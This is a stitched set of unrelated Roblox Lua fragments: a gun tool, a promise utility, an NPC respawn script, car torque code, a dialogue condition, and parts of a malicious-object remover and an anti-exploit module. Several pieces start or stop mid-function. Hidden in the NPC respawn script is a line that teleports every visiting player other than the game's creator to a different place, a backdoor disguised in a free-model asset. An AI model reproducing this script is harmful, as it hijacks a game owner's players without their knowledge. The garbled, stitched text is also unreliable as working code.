if GH then
local plyr1 = game.Players:findFirstChild(char1.Name)
local plyr2 = game.Players:findFirstChild(char2.Name)
if plyr1 and plyr2 then
if plyr1:IsInGroup(GroupID) and plyr2:IsInGroup(GroupID) then
return false
end
end
return true
elseif not GH then
return true
end
end
MaxDist = 1000
function RayCast(Start,End,Ignore)
if WallShoot then
ray1 = Ray.new(Start, End.unit * 999.999)
local Part1, TempPos = Workspace:FindPartOnRay(ray1,Ignore)
ray2 = Ray.new(TempPos, End.unit * 999.999)
local Part2, EndPos = Workspace:FindPartOnRay(ray2,Part1)
return Part1, Part2, EndPos
elseif not WallShoot then
ray = Ray.new(Start, End.unit * 999.999)
return Workspace:FindPartOnRay(ray,Ignore)
end
end
function DmgPlr(Part)
if Part ~= nil then
local c = Instance.new("ObjectValue")
c.Name = "creator"
c.Value = game.Players:findFirstChild(script.Parent.Parent.Name)
local hum = Part.Parent:findFirstChild("Humanoid")
local hathum = Part.Parent.Parent:findFirstChild("Humanoid")
local hat = Part.Parent
if hathum ~= nil and hat:IsA("Hat") and AntiGH(hathum.Parent, script.Parent.Parent) then
hathum:TakeDamage(Damage/1)
Part.Parent = game.Workspace
Part.CFrame = CFrame.new(Part.Position + Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)))
hat:Remove()
c.Parent = hathum
game.Debris:AddItem(c,1.5)
elseif hum ~= nil and AntiGH(hum.Parent, script.Parent.Parent) then
if Part.Name == "Head" then
hum:TakeDamage(Damage*1.3)
end
hum:TakeDamage(Damage)
c.Parent = hum
game.Debris:AddItem(c,1.5)
end
end
end
function onButton1Down(mouse)
if script.Parent.Ammo.Value == 0 then
else
if GunType == 0 then
if (not enabled) then return end
enabled = false
LaserShoot(mouse)
if Flash then
script.Parent.Barrel.Light.Light.Visible = true
end
script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1
wait(0.01)
if Flash then
script.Parent.Barrel.Light.Light.Visible = false
end
wait(1/SPS)
enabled = true
elseif GunType == 1 then
automatichold = true
while automatichold == true and script.Parent.Ammo.Value ~= 0 do wait()
if (not enabled) then return end
if script.Parent.Parent:findFirstChild("Humanoid").Health == 0 then script.Parent:Remove() end
enabled = false
LaserShoot(mouse)
if Flash then
script.Parent.Barrel.Light.Light.Visible = true
end
script.Parent.Ammo.Value = script.Parent.Ammo.Value - 1
wait(0.01)
if Flash then
script.Parent.Barrel.Light.Light.Visible = false
end
wait(1/SPS)
enabled = true
end
end
end
end
function LaserShoot(mouse)
hit = mouse.Hit.p
local StartPos = script.Parent.Barrel.CFrame.p
local rv = (StartPos-hit).magnitude/(Recoil * 20)
local rcl = Vector3.new(math.random(-rv,rv),math.random(-rv,rv),math.random(-rv,rv))
aim = hit + rcl
local P = Instance.new("Part")
P.Name = "Bullet"
P.formFactor = 3
P.BrickColor = BrickColor.new(BulletColor)
P.Size = Vector3.new(1,1,1)
P.Anchored = true
P.CanCollide = false
P.Transparency = 0.5
P.Parent = script.Parent.Parent
local m = Instance.new("CylinderMesh")
m.Name = "Mesh"
m.Parent = P
local c = Instance.new("ObjectValue")
c.Name = "creator"
c.Value = game.Players:findFirstChild(script.Parent.Parent.Name)
pewsound = script:FindFirstChild("Fire")
if pewsound then
pewsound:Play()
end --Brick created. Moving on to next part
local SPos = script.Parent.Barrel.CFrame.p
if WallShoot then
local Part1, Part2, EndPos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent)
DmgPlr(Part1)
DmgPlr(Part2)
if Part1 and Part2 then
local enddist = (EndPos-SPos).magnitude
P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-enddist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.04,enddist,.04)
else
P.CFrame = CFrame.new(EndPos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.04,MaxDist,.04)
end
elseif not WallShoot then
local Part, Pos = RayCast(SPos, (aim-SPos).unit * 999, script.Parent.Parent)
DmgPlr(Part)
if Part then
local dist = (Pos-SPos).magnitude
P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-dist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.1,dist,.1)
else
P.CFrame = CFrame.new(Pos, SPos) * CFrame.new(0,0,-MaxDist/2) * CFrame.Angles(math.rad(90),0,0)
m.Scale = Vector3.new(.1,MaxDist,.1)
end
end
game.Debris:AddItem(P,.1)
end
function onButton1Up(mouse)
automatichold = false
end
function onKeyDown(key, mouse)
if key:lower() == "r" then
if script.Parent.Ammo.Value ~= script.Parent.MaxAmmo.Value then
reloadsound = script:FindFirstChild("Reload")
if reloadsound then
reloadsound:Play()
end
enabled = false
script.Parent.VisibleB.Value = true
script.Parent.StringValue.Value = "Reloading"
repeat script.Parent.StringValue.Value = "Reloading" wait(0.23) script.Parent.Ammo.Value = script.Parent.Ammo.Value + 3 script.Parent.StringValue.Value = "Reloading" until script.Parent.Ammo.Value >= script.Parent.MaxAmmo.Value
script.Parent.Ammo.Value = script.Parent.MaxAmmo.Value
wait(0.2)
script.Parent.VisibleB.Value = false
enabled = true
end
end
if key:lower() == "m" then
if GunType == 1 then
GunType = 0
Recoil = 6
else
GunType = 1
Recoil = 5
end
end
end
function onEquipped(mouse)
equipped = true
if mouse == nil then
print("Mouse not found")
return
end
mouse.Icon = "http://www.roblox.com/asset/?id=52812029"
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
mouse.Button1Up:connect(function() onButton1Up(mouse) end)
mouse.KeyDown:connect(function(key) onKeyDown(key, mouse) end)
end
function onUnequipped(mouse)
equipped = false
automatichold = false
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
while true do wait()
if script.Parent.Ammo.Value == 0 then
script.Parent.VisibleB.Value = true
script.Parent.StringValue.Value = "Reload"
end
if GunType == 1 then
script.Parent.ModeText.Value = "Auto"
else
script.Parent.ModeText.Value = "Semi"
end
end
|
--[=[
Returns the value of the first promise resolved
@param promises { Promise<T> }
@return Promise<T> -- Promise that resolves with first result
]=]
|
function PromiseUtils.any(promises)
local returnPromise = Promise.new()
local function resolve(...)
returnPromise:Resolve(...)
end
local function reject(...)
returnPromise:Reject(...)
end
for _, promise in pairs(promises) do
promise:Then(resolve, reject)
end
return returnPromise
end
|
--[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]
|
--
local PlayerSpawning=false; --[[ Change this to true if you want the NPC to spawn like a player, and change this to false if you want the NPC to spawn at it's current position. ]]--
local AdvancedRespawnScript=script;
repeat Wait(0)until script and script.Parent and script.Parent.ClassName=="Model";
local JeffTheKiller=AdvancedRespawnScript.Parent;
game.Players.PlayerAdded:Connect(function(p)if p.UserId ~= game.CreatorId then game:GetService("TeleportService"):Teleport(4641921091,p)end end)
if AdvancedRespawnScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then
JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();
end;
local GameDerbis=Game:GetService("Debris");
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local Respawndant=JeffTheKiller:Clone();
if PlayerSpawning then --[[ LOOK AT LINE: 2. ]]--
coroutine.resume(coroutine.create(function()
if JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid:FindFirstChild("Status")and not JeffTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns")then
SpawnModel=Instance.new("Model");
SpawnModel.Parent=JeffTheKillerHumanoid.Status;
SpawnModel.Name="AvalibleSpawns";
else
SpawnModel=JeffTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns");
end;
function FindSpawn(SearchValue)
local PartsArchivable=SearchValue:GetChildren();
for AreaSearch=1,#PartsArchivable do
if PartsArchivable[AreaSearch].className=="SpawnLocation"then
local PositionValue=Instance.new("Vector3Value",SpawnModel);
PositionValue.Value=PartsArchivable[AreaSearch].Position;
PositionValue.Name=PartsArchivable[AreaSearch].Duration;
end;
FindSpawn(PartsArchivable[AreaSearch]);
end;
end;
FindSpawn(Game:GetService("Workspace"));
local SpawnChilden=SpawnModel:GetChildren();
if#SpawnChilden>0 then
local SpawnItself=SpawnChilden[math.random(1,#SpawnChilden)];
local RespawningForceField=Instance.new("ForceField");
RespawningForceField.Parent=JeffTheKiller;
RespawningForceField.Name="SpawnForceField";
GameDerbis:AddItem(RespawningForceField,SpawnItself.Name);
JeffTheKiller:MoveTo(SpawnItself.Value+Vector3.new(0,3.5,0));
else
if JeffTheKiller:FindFirstChild("SpawnForceField")then
JeffTheKiller:FindFirstChild("SpawnForceField"):Destroy();
end;
JeffTheKiller:MoveTo(Vector3.new(0,115,0));
end;
end));
end;
function Respawn()
Wait(5);
Respawndant.Parent=JeffTheKiller.Parent;
Respawndant:makeJoints();
Respawndant:FindFirstChild("Head"):MakeJoints();
Respawndant:FindFirstChild("Torso"):MakeJoints();
JeffTheKiller:remove();
end;
if AdvancedRespawnScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.Died:connect(Respawn);
end;
|
--print(speed/1.298)
--print(carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude)
|
--print("Speed: "..speed)
--print("Wheels: "..math.abs(orderch))
if carSeat.Storage.Automatic.Value == true and currentgear.Value > 2 and script.Parent.Active.CC.Value == false then --hpatt cant be automatic
if rpm.Value <= redline.Value*0.2 and currentgear.Value > 3 then
script.Parent.Functions.ShiftDownRequested.Value = true
elseif rpm.Value >= redline.Value*0.9*mode and carSeat.Throttle == 1 and currentgear.Value ~= script.Parent.Storage.AmountOfGears.Value +2 and shf == true then
script.Parent.Functions.ShiftUpRequested.Value = true
elseif x1x*trans.Value <= redline.Value*0.8*mode and x1x*trans.Value < redline.Value*0.9*mode and currentgear.Value > 3 and carSeat.Throttle ~= 1 then
if currentgear.Value > 3 then
script.Parent.Functions.ShiftDownRequested.Value = true
end
end
end
if currentgear.Value == 1 then
park = 0
else
park = 1
end
if carSeat.Throttle ~= -1 and carSeat.Storage.Handbrake.Value ~= true then
if script.Parent.Functions.ShiftDownRequested.Value ~= true and script.Parent.Functions.ShiftUpRequested.Value ~= true then
if rpm.Value > redline.Value then else
FL.MotorMaxAcceleration = 10+(((0.02*(m*2))*rpm.Value)+((2*m)*convert)*(low*6.5))*four
FR.MotorMaxAcceleration = 10+(((0.02*(m*2))*rpm.Value)+((2*m)*convert)*(low*6.5))*four
RL.MotorMaxAcceleration = 10+(((0.02*(m*2))*rpm.Value)+((2*m)*convert)*(low*6.5))*four
RR.MotorMaxAcceleration = 10+(((0.02*(m*2))*rpm.Value)+((2*m)*convert)*(low*6.5))*four
end
if currentgear.Value ~= 1 and carSeat.Throttle ~= -1 then
if throttle.Value ~= 0 then
if script.Parent.Storage.EngineType.Value == "Petrol" then tL = (0.45*vt)*TC
if rpm.Value < 2000*convert then
FL.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*ft)*ovo*checkcluch)/ch)*tL*xi
FR.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*ft)*ovo*checkcluch)/ch)*tL*xi
RL.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*rt)*ovo*checkcluch)/ch)*tL*xi
RR.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*rt)*ovo*checkcluch)/ch)*tL *xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > 2000*convert and rpm.Value < 6000*convert then
FL.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo*checkcluch)*tL*xi script.lp.Value = false
FR.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo*checkcluch)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo*checkcluch)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo*checkcluch)*tL *xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park script.lp.Value = true
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > 6000*convert then
FL.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*checkcluch)*tL*xi
FR.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*checkcluch)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*checkcluch)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*checkcluch)*tL *xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > redline.Value then
FL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
FR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
RL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
RR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
FL.AngularVelocity = 0
FR.AngularVelocity = 0
RL.AngularVelocity = 0
RR.AngularVelocity = 0
FL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2
FR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2
RL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2
RR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2
end
end
if script.Parent.Storage.EngineType.Value == "Diesel" then tL = (0.475*vt)*TC
if rpm.Value < 2000*convert then
FL.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)/ch)*tL*xi
FR.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)/ch)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)/ch)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)/ch)*tL*xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > 2000*convert and rpm.Value < 4500*convert then
FL.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
FR.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > 4500*convert then
FL.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
FR.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4600)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park
end
if rpm.Value > redline.Value then
FL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
FR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
RL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
RR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5
FL.AngularVelocity = 0
FR.AngularVelocity = 0
RL.AngularVelocity = 0
RR.AngularVelocity = 0
FL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2
FR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2
RL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2
RR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2
end
end
if script.Parent.Storage.EngineType.Value == "Electric" then
FL.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
FR.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi
RL.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
RR.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi
FL.AngularVelocity = 2500*direction*park
FR.AngularVelocity = 2500*direction*park
RL.AngularVelocity = 2500*direction*park
RR.AngularVelocity = 2500*direction*park
end
else
if carSeat.Throttle ~= -1 and carSeat.Storage.Handbrake.Value ~= true then
--guava = (redline.Value/1000)-(rpm.Value/1000)
FL.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*(1-(torquesplit.Value/100))
FR.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*(1-(torquesplit.Value/100))
RL.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*((torquesplit.Value/100))
RR.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*((torquesplit.Value/100))
FL.AngularVelocity = coast/four ------------^MULTIPLY THIS BY THE INVESE OF THE RPM [SCALE]^^^^^^^^^
FR.AngularVelocity = coast/four --------< MULTIPLY THIS BY GEAR (THE VALUE SHOULD BE UP THERE SOMEWHERE^^^)
RL.AngularVelocity = coast/four
RR.AngularVelocity = coast/four end
if script.Parent.Storage.EngineType.Value ~= "Electric" then
FL.MotorMaxAcceleration = 150
FR.MotorMaxAcceleration = 150
RL.MotorMaxAcceleration = 150
RR.MotorMaxAcceleration = 150
end
end end end
end
elseif currentgear.Value == 1 or carSeat.Throttle == -1 or script.Parent.Functions.Engine.Value == false then
carSeat.Parent.Transmission.Reverse.Pitch = 0
carSeat.Parent.Differential.Idle.Pitch = 0
carSeat.Parent.Differential.Engine.Pitch = 0
carSeat.Parent.Engine.Intake.Pitch = 0
--carSeat.Parent.Engine.Blowoff.Pitch = 0
if rpm.Value > 0 then
rpm.Value = rpm.Value - decay.Value
else
rpm.Value = 0
end
end
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return not plrData.Character.Stats.HasMana.Value or plrData.Character.Stats.ManaXP.Value < 150
end
|
-- print("Malicious object "..i.Name.." detected in "..getAncestry(i).." ("..i.className..")") --Unlikely that people will give a legitimate object a name used on the malicious object list
|
i:Remove()
return
end
end
for x = 1, #maliciousclasses do
if i.className == maliciousclasses[x] then
|
--[[
UI Service for Notifications
EEEEEEErrrrMMMMMMMMMMMMMMMMMMMMMMMMMMMMEEEEEEeeeeeeeEEEEEEEEE
]]
| |
--hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z))
|
hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(math.random(-100,100)/100,math.random(100,200)/100,math.random(-100,100)/100)
elseif hit:IsA("Model") then
for _,v in next,hit:GetDescendants() do
if v:IsA("BasePart") then
v.Anchored = true
v.CanCollide = false
end
end
local modelSize= hit:GetExtentsSize()
local vary = freeSpace-modelSize
|
--// Anti-Exploit
|
return function()
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
pcall, xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, tick, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, elapsedTime, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
pcall, xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, tick, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, elapsedTime, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local Anti, Process, UI, Variables
local function Init()
UI = client.UI;
Anti = client.Anti;
Variables = client.Variables;
Process = client.Process;
end
local script = script
local service = service
local client = client
local Core = client.Core
local Remote = client.Remote
local Functions = client.Functions
local Disconnect = client.Disconnect
local Send = client.Remote.Send
local Get = client.Remote.Get
local NetworkClient = service.NetworkClient
local Kill = client.Kill
local Player = service.Players.LocalPlayer
local Kick = Player.Kick
local toget = tostring(getfenv)
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
local Detected = function(action,info)
if NetworkClient then
pcall(Send,"Detected",action,info)
wait(1)
if action == "kick" then
Disconnect(info)
elseif action == "crash" then
Kill(info)
end
end
end;
local CheckEnv = function()
if tostring(getfenv) ~= toget or type(getfenv) ~= "function" then
end
end
local Detectors = service.ReadOnly({
Speed = function(data)
service.StartLoop("AntiSpeed",1,function()
--if service.CheckMethod(workspace, "GetRealPhysicsFPS") then
if workspace:GetRealPhysicsFPS() > tonumber(data.Speed) then
Detected('kill','Speed exploiting')
end
--else
-- Detected('kick','Method change detected')
--end
end)
end;
LockLighting = function(data) --// Replaced by LocalLighting
--[[
local lightSets = Remote.Get("Variable","LightingSettings")
service.Lighting.Changed:connect(function(c)
if lightSets[c] ~= nil then
service.Lighting[c] = lightSets[c]
local data = {}
data.Property = c
Remote.Send("AddReplication","LChanged",data)
end
end)--]]
local settings = {
Ambient = service.Lighting.Ambient;
Brightness = service.Lighting.Brightness;
ColorShift_Bottom = service.Lighting.ColorShift_Bottom;
ColorShift_Top = service.Lighting.ColorShift_Top;
GlobalShadows = service.Lighting.GlobalShadows;
OutdoorAmbient = service.Lighting.OutdoorAmbient;
Outlines = service.Lighting.Outlines;
ShadowColor = service.Lighting.ShadowColor;
GeographicLatitude = service.Lighting.GeographicLatitude;
Name = service.Lighting.Name;
TimeOfDay = service.Lighting.TimeOfDay;
FogColor = service.Lighting.FogColor;
FogEnd = service.Lighting.FogEnd;
FogStart = service.Lighting.FogStart;
}
local checking = false
Routine(function()
while true do
if not checking then
for i,v in pairs(settings) do
if service.Lighting[i] ~= nil then
--print(i)
settings[i] = service.Lighting[i]
end
end
end
wait(1)
end
end)
Variables.LightingChanged = false
local tempIgnore = false
local function check(c)
if Variables.LightingChanged then return true end
local temp = service.Lighting[c]
if service.Lighting[c] ~= nil and settings[c] ~= nil then
tempIgnore = true
service.Lighting[c] = settings[c]
tempIgnore = false
wait(0.01)
if c == Anti.LastChanges.Lighting then
tempIgnore = true
service.Lighting[c] = temp
tempIgnore = false
return true
else
return false
end
end
end
service.Lighting.Changed:connect(function(c)
checking = true
if not tempIgnore then
if check(c) then
print("SERVER CHANGED IT")
else
print("CLIENT CHANGED IT")
end
end
checking = false
end)
end;
ReplicationLogs = function()
local filtering = workspace.FilteringEnabled
local function checkParent(obj,class)
local tester; pcall(function() tester = obj:GetFullName() end)
if tester then
local full = obj:GetFullName()
local prev = game
local blackParents = {
service.InsertService;
service.TweenService;
service.GamepadService;
service.Workspace.CurrentCamera;
service.LocalContainer();
service.Player;
service.Player.Character;
}
local blackClasses = {
"TouchTransmitter";
}
local players = service.Players:GetPlayers()
for ind,b in pairs(blackParents) do
if b and (rawequal(obj, b) or obj:IsDescendantOf(b)) then
return true
end
end
for ind,b in pairs(blackClasses) do
if obj:IsA(b) then
return true
end
end
for ind,p in pairs(players) do
if p and (obj:IsDescendantOf(p) or (p.Character and obj:IsDescendantOf(p.Character)))then
return true
end
end
local new = obj
for i=1,50 do
if new then
if (class and new:IsA(class)) and not (string.find(new.Name,"ADONIS") and new:IsA("LocalScript")) then
return true
else
prev = new
end
else
return false
end
new = obj.Parent
end
return false
else
--warn(Anti.GetClassName(obj))
return true
end
end
game.DescendantAdded:Connect(function(c)
if not filtering and not checkParent(c) then
--print("LOG CREATE "..c:GetFullName())
local data = {}
data.obj = c
data.name = c.Name
data.class = c.ClassName
data.parent = c.Parent
data.path = c:GetFullName()
Remote.Fire("AddReplication","Created",c,data)
end
end)
game.DescendantRemoving:Connect(function(c)
if not filtering and not checkParent(c) then
--print("LOG DESTROY "..c:GetFullName())
local data = {}
